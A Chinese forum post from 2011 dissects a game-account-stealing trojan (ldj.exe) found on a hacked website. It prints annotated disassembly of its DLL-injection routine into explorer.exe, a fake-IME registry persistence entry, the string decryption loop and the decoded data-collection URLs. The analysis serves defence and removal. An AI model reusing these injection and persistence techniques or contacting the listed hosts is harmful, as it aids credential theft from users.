ldj.exe的分析！附上部分专杀代码

曹无咎 · 发表于 2011-8-10 00:13

本帖最后由曹无咎于 2011-8-10 16:38 编辑

KILL.rar (2.57 KB, 下载次数: 6) ，这个KILL文件就是专杀的代码了，编程很菜，大部分代码百度来的，不会编程的菜鸟真的伤不起啊
发改委网站被挂马，芳芳发现的，分析了一下
一
母体文件ldj.exe的分析：（母体文件在加载完ocx后代码开始混乱了，不知道是我的机子上还有别的木马，还是加载后的问题）
主要有几个行为：1，生成dbr99008.ocx和dbr31004.ocx
2，复制rundll.exe到C:\WINDOWS\SYSTEM32\gbvgbv31.exe,并运行，加载上述文件，并注入到explorer.exe中
3，Winston0\default方式交互
4，解密出4个收信网址
00401100                         68 74 74 70 3A 2F 2F 67       http://g
00401110  75 63 63 69 2E 74 6C 79 73 6A 2E 63 6F 6D 3A 39  ucci.tlysj.com:9
00401120  39 36 32 2F 66 72 62 2F 72 62 2E 61 73 70       962/frb/rb.asp
00401180                         68 74 74 70 3A 2F 2F 67       http://g
00401190  75 63 63 69 2E 74 6C 79 73 6A 2E 63 6F 6D 3A 39  ucci.tlysj.com:9
004011A0  39 36 32 2F 66 74 2E 61 73 70                   962/ft.asp
00401208  68 74 74 70 3A 2F 2F 67 75 63 63 69 2E 74 6C 79  http://gucci.tly
00401218  73 6A 2E 63 6F 6D 3A 39 39 36 32 2F 46 6F 6E 65  sj.com:9962/Fone
00401228  39 2F 6A 75 73 74 2E 61 73 70                   9/just.asp
00401288  68 74 74 70 3A 2F 2F 76 35 2E 37 31 77 61 70 2E  http://v5.71wap.
00401298  63 6F 6D 3A 39 39 36 32 2F 46 6F 6E 65 39 2F 6A  com:9962/Fone9/j
004012A8  75 73 74 2E 61 73 70                            ust.asp
另外，还生成一种字体ttf文件，没发现有什么作用，应该是中间过度吧，不过一直在fonts文件夹下就没有找到这个文件！！！

[/pre][pre]
母体加了upx，到达oep，像一些简单的函数，就不贴代码了

00401EB9 55 push ebp
00401EBA 8BEC mov ebp, esp
00401EBC 81EC 580A0000 sub esp, 0A58
00401EC2 53 push ebx
00401EC3 56 push esi
00401EC4 57 push edi
00401EC5 6A 40 push 40
00401EC7 33DB xor ebx, ebx
00401EC9 59 pop ecx
00401ECA 33C0 xor eax, eax
00401ECC 8DBD C9FDFFFF lea edi, dword ptr [ebp-237]
00401ED2 889D C8FDFFFF mov byte ptr [ebp-238], bl
00401ED8 8B35 A8104000 mov esi, dword ptr [4010A8] ; MSVCRT.sprintf
00401EDE F3:AB rep stos dword ptr es:[edi]
00401EE0 66:AB stos word ptr es:[edi]
00401EE2 AA stos byte ptr es:[edi]
00401EE3 68 FC154000 push 004015FC ; ASCII "008"
00401EE8 8D85 C8FDFFFF lea eax, dword ptr [ebp-238]
00401EEE 68 F0154000 push 004015F0 ; ASCII "dbr99%s.ocx"
00401EF3 50 push eax
00401EF4 C645 FC 54 mov byte ptr [ebp-4], 54 ; TLS
00401EF8 C645 FD 4C mov byte ptr [ebp-3], 4C
00401EFC C645 FE 53 mov byte ptr [ebp-2], 53
00401F00 885D FF mov byte ptr [ebp-1], bl
00401F03 FFD6 call esi
00401F05 83C4 0C add esp, 0C
00401F08 33C0 xor eax, eax
00401F0A 8DBD C5FCFFFF lea edi, dword ptr [ebp-33B]
00401F10 889D C4FCFFFF mov byte ptr [ebp-33C], bl
00401F16 6A 40 push 40
00401F18 889D C0FBFFFF mov byte ptr [ebp-440], bl
00401F1E 59 pop ecx
00401F1F C685 CCFEFFFF 7>mov byte ptr [ebp-134], 72
00401F26 F3:AB rep stos dword ptr es:[edi]
00401F28 66:AB stos word ptr es:[edi]
00401F2A AA stos byte ptr es:[edi]
00401F2B 6A 40 push 40
00401F2D 33C0 xor eax, eax
00401F2F 59 pop ecx
00401F30 8DBD C1FBFFFF lea edi, dword ptr [ebp-43F]
00401F36 F3:AB rep stos dword ptr es:[edi]
00401F38 66:AB stos word ptr es:[edi]
00401F3A AA stos byte ptr es:[edi]
00401F3B 6A 3D push 3D
00401F3D 33C0 xor eax, eax
00401F3F 59 pop ecx
00401F40 8DBD D9FEFFFF lea edi, dword ptr [ebp-127]
00401F46 C685 CDFEFFFF 7>mov byte ptr [ebp-133], 75 ; rundll32.exe
00401F4D C685 CEFEFFFF 6>mov byte ptr [ebp-132], 6E
00401F54 C685 CFFEFFFF 6>mov byte ptr [ebp-131], 64
00401F5B C685 D0FEFFFF 6>mov byte ptr [ebp-130], 6C
00401F62 C685 D1FEFFFF 6>mov byte ptr [ebp-12F], 6C
00401F69 C685 D2FEFFFF 3>mov byte ptr [ebp-12E], 33
00401F70 C685 D3FEFFFF 3>mov byte ptr [ebp-12D], 32
00401F77 C685 D4FEFFFF 2>mov byte ptr [ebp-12C], 2E
00401F7E C685 D5FEFFFF 6>mov byte ptr [ebp-12B], 65
00401F85 C685 D6FEFFFF 7>mov byte ptr [ebp-12A], 78
00401F8C C685 D7FEFFFF 6>mov byte ptr [ebp-129], 65
00401F93 889D D8FEFFFF mov byte ptr [ebp-128], bl
00401F99 F3:AB rep stos dword ptr es:[edi]
00401F9B 66:AB stos word ptr es:[edi]
00401F9D AA stos byte ptr es:[edi]
00401F9E 6A 40 push 40
00401FA0 33C0 xor eax, eax
00401FA2 59 pop ecx
00401FA3 8DBD B9F9FFFF lea edi, dword ptr [ebp-647]
00401FA9 889D B8F9FFFF mov byte ptr [ebp-648], bl
00401FAF F3:AB rep stos dword ptr es:[edi]
00401FB1 66:AB stos word ptr es:[edi]
00401FB3 AA stos byte ptr es:[edi]
00401FB4 E8 02F9FFFF call 004018BB ; 提权
00401FB9 BF 04010000 mov edi, 104
00401FBE 8D85 B0F7FFFF lea eax, dword ptr [ebp-850]
00401FC4 57 push edi
00401FC5 50 push eax
00401FC6 53 push ebx
00401FC7 FF15 50104000 call dword ptr [401050] ; kernel32.GetModuleFileNameA
00401FCD 8D45 D0 lea eax, dword ptr [ebp-30]
00401FD0 68 E4154000 push 004015E4 ; 得到生成dbr31004.ocx的路径
00401FD5 50 push eax
00401FD6 FFD6 call esi
00401FD8 8D45 D0 lea eax, dword ptr [ebp-30]
00401FDB 50 push eax
00401FDC 8D85 BCFAFFFF lea eax, dword ptr [ebp-544]
00401FE2 50 push eax
00401FE3 E8 A8020000 call 00402290 ; jmp 到 MSVCRT.strcpy
00401FE8 8D85 BCFAFFFF lea eax, dword ptr [ebp-544]
00401FEE 68 DC154000 push 004015DC ; ASCII ".ocx"
00401FF3 50 push eax
00401FF4 E8 91020000 call 0040228A ; jmp 到 MSVCRT.strcat
00401FF9 8D85 BCFAFFFF lea eax, dword ptr [ebp-544]
00401FFF 50 push eax
00402000 8D85 BCFAFFFF lea eax, dword ptr [ebp-544]
00402006 50 push eax
00402007 E8 BEFAFFFF call 00401ACA ; 得到C：\WINDOWS\SYSTEM32\dbr31004.ocx路径
0040200C 8D85 B0F7FFFF lea eax, dword ptr [ebp-850]
00402012 50 push eax
00402013 E8 8AFBFFFF call 00401BA2 ; 打开文件，读入数据，并解密出网址，这里读入的就是加密的网址，里面实现解密

这里我们来看看是解密函数：这个比较简单，获取字符串"LUDJ"的长度，以此为循环的小条件，读取118h大小的数据，简单的ror操作
00401B3C    55              push    ebp
00401B3D    8BEC            mov     ebp, esp
00401B3F    53              push    ebx
00401B40    56              push    esi
00401B41    57              push    edi
00401B42    8B75 08         mov     esi, dword ptr [ebp+8]
00401B45    8B7D 10         mov     edi, dword ptr [ebp+10]
00401B48    8B5D 0C         mov     ebx, dword ptr [ebp+C]
00401B4B    8B55 14         mov     edx, dword ptr [ebp+14]
00401B4E    85DB            test    ebx, ebx
00401B50    74 18           je      short 00401B6A
00401B52    8A06            mov     al, byte ptr [esi]
00401B54    8A0F            mov     cl, byte ptr [edi]
00401B56    D2C8            ror     al, cl
00401B58    8806            mov     byte ptr [esi], al
00401B5A    46              inc     esi
00401B5B    47              inc     edi
00401B5C    4B              dec     ebx
00401B5D    4A              dec     edx
00401B5E    85D2            test    edx, edx
00401B60  ^ 75 EC           jnz     short 00401B4E
00401B62    8B55 14         mov     edx, dword ptr [ebp+14]
00401B65    8B7D 10         mov     edi, dword ptr [ebp+10]
00401B68  ^ EB E4           jmp     short 00401B4E
00401B6A    5F              pop     edi
00401B6B    5E              pop     esi
00401B6C    5B              pop     ebx
00401B6D    5D              pop     ebp
00401B6E    C3              retn

继续分析：

00402018 83C4 24 add esp, 24
0040201B 8D85 B4F8FFFF lea eax, dword ptr [ebp-74C]
00402021 C645 F4 5C mov byte ptr [ebp-C], 5C ；得到fonts\dbr31004.ttf路径
00402025 C645 F5 66 mov byte ptr [ebp-B], 66
00402029 57 push edi
0040202A 50 push eax
0040202B C645 F6 6F mov byte ptr [ebp-A], 6F
0040202F C645 F7 6E mov byte ptr [ebp-9], 6E
00402033 C645 F8 74 mov byte ptr [ebp-8], 74
00402037 C645 F9 73 mov byte ptr [ebp-7], 73
0040203B C645 FA 5C mov byte ptr [ebp-6], 5C
0040203F 885D FB mov byte ptr [ebp-5], bl
00402042 FF15 4C104000 call dword ptr [40104C] ; kernel32.GetWindowsDirectoryA
00402048 8D45 F4 lea eax, dword ptr [ebp-C]
0040204B 50 push eax
0040204C 8D85 B4F8FFFF lea eax, dword ptr [ebp-74C]
00402052 50 push eax
00402053 E8 32020000 call 0040228A ; jmp 到 MSVCRT.strcat
00402058 8D45 D0 lea eax, dword ptr [ebp-30]
0040205B 50 push eax
0040205C 8D85 B4F8FFFF lea eax, dword ptr [ebp-74C]
00402062 50 push eax
00402063 E8 22020000 call 0040228A ; jmp 到 MSVCRT.strcat
00402068 8D85 B4F8FFFF lea eax, dword ptr [ebp-74C]
0040206E 68 D4154000 push 004015D4 ; ASCII ".ttf"
00402073 50 push eax
00402074 E8 11020000 call 0040228A ; jmp 到 MSVCRT.strcat
00402079 8D85 B4F8FFFF lea eax, dword ptr [ebp-74C]
0040207F 50 push eax
00402080 E8 06FEFFFF call 00401E8B ；create文件，但是在相应目录下并没有找到文件
00402085 8B3D 70104000 mov edi, dword ptr [401070] ; kernel32.GetTickCount，获得系统启动到现在的总时间，要随机生成文件了
0040208B 83C4 1C add esp, 1C
0040208E FFD7 call edi
00402090 50 push eax
00402091 8D85 C4FCFFFF lea eax, dword ptr [ebp-33C]
00402097 68 C4154000 push 004015C4 ; ASCII "%08Xmdd.temp"
0040209C 50 push eax
0040209D FFD6 call esi
0040209F 8D85 C4FCFFFF lea eax, dword ptr [ebp-33C]
004020A5 50 push eax
004020A6 8D85 C4FCFFFF lea eax, dword ptr [ebp-33C]
004020AC 50 push eax
004020AD E8 DAF9FFFF call 00401A8C ；这些temp文件的路径为tmp路径
004020B2 8D85 C4FCFFFF lea eax, dword ptr [ebp-33C]
004020B8 50 push eax
004020B9 8D45 FC lea eax, dword ptr [ebp-4]
004020BC 6A 66 push 66
004020BE 50 push eax ；TLS
004020BF 53 push ebx
004020C0 E8 61F8FFFF call 00401926 ；通过findresource的方式释放文件，大小9E00，并得到PE头的地址为00404090
这个函数的作用是生成dbr31004.ocx文件，首先通过上面刚刚得到的临时文件，向其中写入9E00的数据，地址为00404090
004020C5 83C4 24 add esp, 24
004020C8 8D85 BCFAFFFF lea eax, dword ptr [ebp-544]
004020CE 6A 03 push 3
004020D0 50 push eax 
004020D1 8D85 C4FCFFFF lea eax, dword ptr [ebp-33C]
004020D7 50 push eax
004020D8 FF15 54104000 call dword ptr [401054] ; kernel32.MoveFileExA，将刚刚生成的temp移动到system32文件夹下，并删除掉temp文件
004020DE 8D85 C4FCFFFF lea eax, dword ptr [ebp-33C]
004020E4 50 push eax
004020E5 FF15 58104000 call dword ptr [401058] ; kernel32.DeleteFileA
004020EB FFD7 call edi
004020ED 50 push eax
004020EE 8D85 C0FBFFFF lea eax, dword ptr [ebp-440]
004020F4 68 B4154000 push 004015B4 ; ASCII "%08Xeime.temp" 这个与上述相同，不再赘述，这是在system32生成dbr99008.ocx，tmp
文件夹生成的temp都删除掉
004020F9 50 push eax
004020FA FFD6 call esi
004020FC 8D85 C0FBFFFF lea eax, dword ptr [ebp-440]
00402102 50 push eax
00402103 8D85 C0FBFFFF lea eax, dword ptr [ebp-440]
00402109 50 push eax
0040210A E8 7DF9FFFF call 00401A8C
0040210F 8D85 C0FBFFFF lea eax, dword ptr [ebp-440]
00402115 50 push eax
00402116 8D45 FC lea eax, dword ptr [ebp-4]
00402119 6A 67 push 67
0040211B 50 push eax
0040211C 53 push ebx
0040211D E8 04F8FFFF call 00401926
00402122 8D85 C8FDFFFF lea eax, dword ptr [ebp-238]
00402128 50 push eax
00402129 8D85 C8FDFFFF lea eax, dword ptr [ebp-238]
0040212F 50 push eax
00402130 E8 95F9FFFF call 00401ACA ；得到system32的路径，不再详细描述
00402135 83C4 2C add esp, 2C
00402138 8D85 C8FDFFFF lea eax, dword ptr [ebp-238]
0040213E 6A 03 push 3
00402140 50 push eax
00402141 8D85 C0FBFFFF lea eax, dword ptr [ebp-440]
00402147 50 push eax
00402148 FF15 54104000 call dword ptr [401054] ; kernel32.MoveFileExA
0040214E 8D85 C0FBFFFF lea eax, dword ptr [ebp-440]
00402154 50 push eax
00402155 FF15 58104000 call dword ptr [401058] ; kernel32.DeleteFileA
0040215B 8D85 CCFEFFFF lea eax, dword ptr [ebp-134]
00402161 50 push eax
00402162 8D85 CCFEFFFF lea eax, dword ptr [ebp-134]
00402168 50 push eax
00402169 E8 5CF9FFFF call 00401ACA
0040216E 8D85 B8F9FFFF lea eax, dword ptr [ebp-648] 
00402174 50 push eax 
00402175 68 A4154000 push 004015A4 ; ASCII "gbvgbv31.exe"
0040217A E8 4BF9FFFF call 00401ACA ；这个gbvgbv.exe其实就是rundll32.exe，在system32文件夹下拷贝生成
0040217F 83C4 10 add esp, 10
00402182 8D85 B8F9FFFF lea eax, dword ptr [ebp-648]
00402188 53 push ebx
00402189 50 push eax
0040218A 8D85 CCFEFFFF lea eax, dword ptr [ebp-134]
00402190 50 push eax
00402191 FF15 6C104000 call dword ptr [40106C] ; kernel32.CopyFileA

创建进程快照，并实现注入到explorer.exe中

004021D5 E8 1BF5FFFF call 004016F5 ；这个函数创建进程快照，得到那三个函数的地址，查找进程explorer.exe，这里是要注入线程了

我们来看看找到进程后干了些什么吧，这是函数一：

00401600 55 push ebp
00401601 8BEC mov ebp, esp
00401603 81EC 08020000 sub esp, 208
00401609 53 push ebx
0040160A 56 push esi
0040160B 57 push edi
0040160C 6A 40 push 40
0040160E 33DB xor ebx, ebx
00401610 59 pop ecx
00401611 33C0 xor eax, eax
00401613 8DBD F9FDFFFF lea edi, dword ptr [ebp-207]
00401619 889D F8FDFFFF mov byte ptr [ebp-208], bl
0040161F 6A 40 push 40
00401621 F3:AB rep stos dword ptr es:[edi]
00401623 66:AB stos word ptr es:[edi]
00401625 AA stos byte ptr es:[edi]
00401626 59 pop ecx
00401627 33C0 xor eax, eax
00401629 8DBD FDFEFFFF lea edi, dword ptr [ebp-103]
0040162F 889D FCFEFFFF mov byte ptr [ebp-104], bl
00401635 F3:AB rep stos dword ptr es:[edi]
00401637 66:AB stos word ptr es:[edi]
00401639 AA stos byte ptr es:[edi]
0040163A E8 7C020000 call 004018BB ；上面提到过这个函数了，提权
0040163F FF75 08 push dword ptr [ebp+8]
00401642 53 push ebx
00401643 68 10040000 push 410
00401648 FF15 84104000 call dword ptr [401084] ; kernel32.OpenProcess，打开explorer.exe的进程
0040164E 8BF8 mov edi, eax
00401650 3BFB cmp edi, ebx
00401652 0F84 8F000000 je 004016E7
00401658 8D85 F8FDFFFF lea eax, dword ptr [ebp-208]
0040165E 68 04010000 push 104
00401663 50 push eax
00401664 53 push ebx
00401665 57 push edi
00401666 E8 850C0000 call 004022F0 ; jmp 到 PSAPI.GetModuleFileNameExA，获得文件路径名C:\WINDOWS\Explorer.EXE
0040166B 8D85 F8FDFFFF lea eax, dword ptr [ebp-208]
00401671 50 push eax
00401672 E8 1F0C0000 call 00402296 ; jmp 到 MSVCRT.strlen
00401677 8D85 F8FDFFFF lea eax, dword ptr [ebp-208]
0040167D 50 push eax
0040167E 8D85 FCFEFFFF lea eax, dword ptr [ebp-104]
00401684 50 push eax
00401685 E8 060C0000 call 00402290 ; jmp 到 MSVCRT.strcpy
0040168A 8B35 94104000 mov esi, dword ptr [401094] ; MSVCRT.strrchr
00401690 8D85 FCFEFFFF lea eax, dword ptr [ebp-104]
00401696 6A 5C push 5C
00401698 50 push eax
00401699 FFD6 call esi ；explorer.exe首次出现的位置0012F2CA
0040169B 83C4 14 add esp, 14
0040169E 3BC3 cmp eax, ebx
004016A0 74 39 je short 004016DB
004016A2 8818 mov byte ptr [eax], bl
004016A4 8D85 FCFEFFFF lea eax, dword ptr [ebp-104]
004016AA 6A 5C push 5C
004016AC 50 push eax
004016AD FFD6 call esi
004016AF 59 pop ecx
004016B0 3BC3 cmp eax, ebx
004016B2 59 pop ecx
004016B3 74 26 je short 004016DB
004016B5 8818 mov byte ptr [eax], bl
004016B7 8D85 FCFEFFFF lea eax, dword ptr [ebp-104]
004016BD 68 38154000 push 00401538 ; ASCII "\data\elements.data"
004016C2 50 push eax
004016C3 E8 C20B0000 call 0040228A ; jmp 到 MSVCRT.strcat得到路劲C:\data\elements.data
004016C8 8D85 FCFEFFFF lea eax, dword ptr [ebp-104]
004016CE 50 push eax
004016CF E8 D5020000 call 004019A9 ；findfirstfile，并没有找到该文件
004016D4 83C4 0C add esp, 0C
004016D7 85C0 test eax, eax
004016D9 74 13 je short 004016EE
004016DB 57 push edi
004016DC FF15 88104000 call dword ptr [401088] ; kernel32.CloseHandle
004016E2 6A 01 push 1
004016E4 58 pop eax
004016E5 EB 09 jmp short 004016F0
004016E7 53 push ebx
004016E8 FF15 88104000 call dword ptr [401088] ; kernel32.CloseHandle
004016EE 33C0 xor eax, eax
004016F0 5F pop edi
004016F1 5E pop esi
004016F2 5B pop ebx
004016F3 C9 leave
004016F4 C3 retn


函数二：这个是真正的向进程中写入数据

00401A62 56 push esi
00401A63 FF7424 08 push dword ptr [esp+8]
00401A67 6A 00 push 0
00401A69 6A 2A push 2A
00401A6B FF15 84104000 call dword ptr [401084] ; kernel32.OpenProcess
00401A71 8BF0 mov esi, eax
00401A73 85F6 test esi, esi
00401A75 74 13 je short 00401A8A
00401A77 FF7424 0C push dword ptr [esp+C]
00401A7B 56 push esi
00401A7C E8 56FFFFFF call 004019D7 ；这个函数就是写入数据的函数
00401A81 59 pop ecx
00401A82 59 pop ecx
00401A83 56 push esi
00401A84 FF15 88104000 call dword ptr [401088] ; kernel32.CloseHandle
00401A8A 5E pop esi
00401A8B C3 retn


那我们就来看看函数004019D7中进行了什么操作：

004019D7 55 push ebp
004019D8 8BEC mov ebp, esp
004019DA 51 push ecx
004019DB 51 push ecx
004019DC 53 push ebx
004019DD 56 push esi
004019DE 57 push edi
004019DF FF75 0C push dword ptr [ebp+C]
004019E2 FF15 14104000 call dword ptr [401014] ; kernel32.lstrlenA
004019E8 8B5D 08 mov ebx, dword ptr [ebp+8]
004019EB 8BF0 mov esi, eax
004019ED 46 inc esi
004019EE 6A 40 push 40
004019F0 68 00100000 push 1000
004019F5 56 push esi
004019F6 6A 00 push 0
004019F8 53 push ebx
004019F9 FF15 44104000 call dword ptr [401044] ; kernel32.VirtualAllocEx，在进程中分配空间，大小21h，得到内存的首地址为02380000
004019FF 8BF8 mov edi, eax
00401A01 85FF test edi, edi
00401A03 74 3B je short 00401A40
00401A05 8D45 FC lea eax, dword ptr [ebp-4]
00401A08 50 push eax
00401A09 56 push esi
00401A0A FF75 0C push dword ptr [ebp+C]
00401A0D 57 push edi
00401A0E 53 push ebx
00401A0F FF15 40104000 call dword ptr [401040] ; kernel32.WriteProcessMemory，这里将dbr99008.ocx写入到刚刚分配的进程空间02380000处
00401A15 85C0 test eax, eax
00401A17 74 27 je short 00401A40
00401A19 8D45 F8 lea eax, dword ptr [ebp-8]
00401A1C 50 push eax
00401A1D 33C0 xor eax, eax
00401A1F 50 push eax
00401A20 57 push edi
00401A21 FF35 7C104000 push dword ptr [40107C] ; kernel32.LoadLibraryA
00401A27 50 push eax
00401A28 50 push eax
00401A29 53 push ebx
00401A2A FF15 3C104000 call dword ptr [40103C] ; kernel32.CreateRemoteThread创建远程线程


0012F380 00000080 |hProcess = 00000080 (window)
0012F384 00000000 |lpThreadAttributes
0012F388 00000000 |dwStackSize = 0
0012F38C 7C801D7B |lpStartAddress = kernel32.LoadLibraryA
0012F390 02380000 |lpParameter = 02380000
0012F394 00000000 |dwCreationFlags = 0
0012F398 0012F3A8 \lpThreadId = 0012F3A8


00401A30 85C0 test eax, eax
00401A32 8945 0C mov dword ptr [ebp+C], eax
00401A35 74 09 je short 00401A40
00401A37 6A FF push -1
00401A39 50 push eax
00401A3A FF15 38104000 call dword ptr [401038] ; kernel32.WaitForSingleObject
00401A40 68 00400000 push 4000
00401A45 56 push esi
00401A46 57 push edi
00401A47 53 push ebx
00401A48 FF15 34104000 call dword ptr [401034] ; kernel32.VirtualFreeEx
00401A4E 837D 0C 00 cmp dword ptr [ebp+C], 0
00401A52 5F pop edi
00401A53 5E pop esi
00401A54 5B pop ebx
00401A55 74 09 je short 00401A60
00401A57 FF75 0C push dword ptr [ebp+C]
00401A5A FF15 88104000 call dword ptr [401088] ; kernel32.CloseHandle
00401A60 C9 leave
00401A61 C3 retn

004021DA B9 81000000 mov ecx, 81
004021DF 33C0 xor eax, eax
004021E1 8DBD A9F5FFFF lea edi, dword ptr [ebp-A57]
004021E7 889D A8F5FFFF mov byte ptr [ebp-A58], bl
004021ED F3:AB rep stos dword ptr es:[edi]
004021EF 66:AB stos word ptr es:[edi]
004021F1 AA stos byte ptr es:[edi]
004021F2 8D85 BCFAFFFF lea eax, dword ptr [ebp-544]
004021F8 50 push eax
004021F9 E8 ABF7FFFF call 004019A9 ；查找文件dbr31004.ocx，找到，没有跳转
004021FE 8B35 BC104000 mov esi, dword ptr [4010BC] ; USER32.wsprintfA
00402204 83C4 0C add esp, 0C
00402207 85C0 test eax, eax
00402209 74 32 je short 0040223D
0040220B 8D85 B0F7FFFF lea eax, dword ptr [ebp-850]
00402211 50 push eax
00402212 8D85 BCFAFFFF lea eax, dword ptr [ebp-544]
00402218 50 push eax
00402219 8D85 B8F9FFFF lea eax, dword ptr [ebp-648]
0040221F 50 push eax
00402220 8D85 A8F5FFFF lea eax, dword ptr [ebp-A58]
00402226 68 8C154000 push 0040158C ; ASCII "%s %s pfjaoidjglkajd %s"
0040222B 50 push eax
0040222C FFD6 call esi
0040222E 8D85 A8F5FFFF lea eax, dword ptr [ebp-A58]
00402234 50 push eax
00402235 E8 87FBFFFF call 00401DC1 ；创建进程gbvgbv31.exe
0040223A 83C4 18 add esp, 18
0040223D 8D85 C8FDFFFF lea eax, dword ptr [ebp-238]
00402243 50 push eax
00402244 E8 60F7FFFF call 004019A9
00402249 85C0 test eax, eax
0040224B 59 pop ecx
0040224C 74 2B je short 00402279
0040224E 8D85 C8FDFFFF lea eax, dword ptr [ebp-238]
00402254 50 push eax
00402255 8D85 B8F9FFFF lea eax, dword ptr [ebp-648]
0040225B 50 push eax
0040225C 8D85 A8F5FFFF lea eax, dword ptr [ebp-A58]
00402262 68 74154000 push 00401574 ; ASCII "%s %s pfjieaoidjglkajd"
00402267 50 push eax
00402268 FFD6 call esi
0040226A 8D85 A8F5FFFF lea eax, dword ptr [ebp-A58]
00402270 50 push eax
00402271 E8 4BFBFFFF call 00401DC1
00402276 83C4 14 add esp, 14
00402279 53 push ebx
0040227A FF15 68104000 call dword ptr [401068] ; kernel32.ExitProcess退出进程
00402280 6A 01 push 1
00402282 58 pop eax
00402283 5F pop edi
00402284 5E pop esi
00402285 5B pop ebx
00402286 C9 leave
00402287 C2 1000 retn 10

上述，通过gbvgbv31.exe运行dbr31004.ocx,dbr99008.ocx两个文件：

C:\WINDOWS\system32\dbr31004.ocx 0x10000000 0x0000E000
C:\WINDOWS\system32\DBR99008.OCX 0x00C30000 0x00006000

注入到explorer.exe中的文件，C:\WINDOWS\system32\dbr99008.ocx 基址：0x03800000，大小：0x00006000
C:\WINDOWS\system32\dbr31004.ocx 基址：0x03EB0000，大小：0x0000E000

母体部分告一段落！

二

现在来分析dbr99008.ocx,这个函数的主要作用修改注册表中的输入法表项，将dbr99008.ocx与kbdus.dll关联，如下：


HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\E0200804 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\E0200804 

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\E0200804]
Ime File = "DBR99008.OCX" 
Layout Text = "US" 
Layout File = "kbdus.dll" 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\E0200804]
Ime File = "DBR99008.OCX" 
Layout Text = "US" 
Layout File = "kbdus.dll" 
[HKEY_CURRENT_USER\Keyboard Layout\Preload]
2 = "E0200804" 

主要的坏事是在dbr31004.ocx文件中完成的，这里就不贴dbr99008.ocx的代码了

还有就是在临时目录里生成了win28007d9039.dll这个文件，这个实际上就是kernel32.dll了


三

简单建立几个窗口，伪装成ldjgame.exe，launch.exe便于分析
首先这是一个盗号木马，游戏有：鹿鼎记，SMDL(神魔大陆)，QQ游戏，之前做的记录全都没了,现在就简单的分析几个线程吧
并干掉360系列
dbr31004.ocx主要创建了7个线程：


现在来看dbr31004.ocx文件的分析

1000A564 > 55 push ebp
1000A565 8BEC mov ebp, esp
1000A567 81EC 18010000 sub esp, 118
1000A56D 837D 0C 01 cmp dword ptr [ebp+C], 1
1000A571 74 09 je short 1000A57C
1000A573 817D 0C 6666888>cmp dword ptr [ebp+C], 88886666
1000A57A 75 60 jnz short 1000A5DC
1000A57C 8D45 EC lea eax, dword ptr [ebp-14]
1000A57F 6A 01 push 1
1000A581 50 push eax
1000A582 FF15 20300010 call dword ptr [<&ADVAPI32.Initialize>; ADVAPI32.InitializeSecurityDescriptor
1000A588 6A 00 push 0
1000A58A 6A 00 push 0
1000A58C 8D45 EC lea eax, dword ptr [ebp-14]
1000A58F 6A 01 push 1
1000A591 50 push eax
1000A592 FF15 00300010 call dword ptr [<&ADVAPI32.SetSecurit>; ADVAPI32.SetSecurityDescriptorDacl
1000A598 FF15 2C310010 call dword ptr [<&KERNEL32.GetCurrent>; kernel32.GetCurrentProcessId
1000A59E 50 push eax ; 得到loaddll.exe的PID
1000A59F 8D85 E8FEFFFF lea eax, dword ptr [ebp-118]
1000A5A5 68 EC3E0010 push 10003EEC ; ASCII "gbvLUDJ31004_rel_regamle_%08d_"
1000A5AA 50 push eax
1000A5AB FF15 F0310010 call dword ptr [<&USER32.wsprintfA>] ; USER32.wsprintfA
1000A5B1 8D85 E8FEFFFF lea eax, dword ptr [ebp-118]
1000A5B7 50 push eax
1000A5B8 E8 49A4FFFF call 10004A06 ; 创建互斥变量
1000A5BD 83C4 10 add esp, 10
1000A5C0 85C0 test eax, eax
1000A5C2 74 04 je short 1000A5C8
1000A5C4 33C0 xor eax, eax
1000A5C6 EB 17 jmp short 1000A5DF
1000A5C8 FF75 10 push dword ptr [ebp+10]
1000A5CB FF75 0C push dword ptr [ebp+C]
1000A5CE FF75 08 push dword ptr [ebp+8]
1000A5D1 E8 B6FEFFFF call 1000A48C ；这个call很关键，里面进行了各种PE操作，得到kernel32.dll等的函数地址
1000A5D6 83C4 0C add esp, 0C
1000A5D9 8945 0C mov dword ptr [ebp+C], eax
1000A5DC 8B45 0C mov eax, dword ptr [ebp+C]
1000A5DF C9 leave
1000A5E0 C2 0C00 retn 0C



现在我们进入call 1000A48C：


1000A48C 55 push ebp
1000A48D 8BEC mov ebp, esp
1000A48F 83EC 10 sub esp, 10
1000A492 53 push ebx
1000A493 8B1D 4C300010 mov ebx, dword ptr [<&KERNEL32.GetMo>; kernel32.GetModuleFileNameA
1000A499 56 push esi
1000A49A 57 push edi
1000A49B BF D82C0010 mov edi, 10002CD8
1000A4A0 68 04010000 push 104
1000A4A5 57 push edi
1000A4A6 6A 00 push 0
1000A4A8 FFD3 call ebx
1000A4AA BE 66668888 mov esi, 88886666
1000A4AF 3975 0C cmp dword ptr [ebp+C], esi
1000A4B2 75 11 jnz short 1000A4C5
1000A4B4 FF75 10 push dword ptr [ebp+10]
1000A4B7 68 D42B0010 push 10002BD4 ; ASCII "C:\WINDOWS\system32\dbr31004.ocx"
1000A4BC E8 11090000 call <jmp.&MSVCRT.strcpy>
1000A4C1 59 pop ecx
1000A4C2 59 pop ecx
1000A4C3 EB 0F jmp short 1000A4D4
1000A4C5 68 04010000 push 104
1000A4CA 68 D42B0010 push 10002BD4 ; ASCII "C:\WINDOWS\system32\dbr31004.ocx"
1000A4CF FF75 08 push dword ptr [ebp+8]
1000A4D2 FFD3 call ebx ; 得到完整的文件名，GetModuleFileNameA
1000A4D4 8065 FC 00 and byte ptr [ebp-4], 0
1000A4D8 3975 0C cmp dword ptr [ebp+C], esi
1000A4DB C645 F0 65 mov byte ptr [ebp-10], 65 ; explorer.exe
1000A4DF C645 F1 78 mov byte ptr [ebp-F], 78
1000A4E3 C645 F2 70 mov byte ptr [ebp-E], 70
1000A4E7 C645 F3 6C mov byte ptr [ebp-D], 6C
1000A4EB C645 F4 6F mov byte ptr [ebp-C], 6F
1000A4EF C645 F5 72 mov byte ptr [ebp-B], 72
1000A4F3 C645 F6 65 mov byte ptr [ebp-A], 65
1000A4F7 C645 F7 72 mov byte ptr [ebp-9], 72
1000A4FB C645 F8 2E mov byte ptr [ebp-8], 2E
1000A4FF C645 F9 65 mov byte ptr [ebp-7], 65
1000A503 C645 FA 78 mov byte ptr [ebp-6], 78
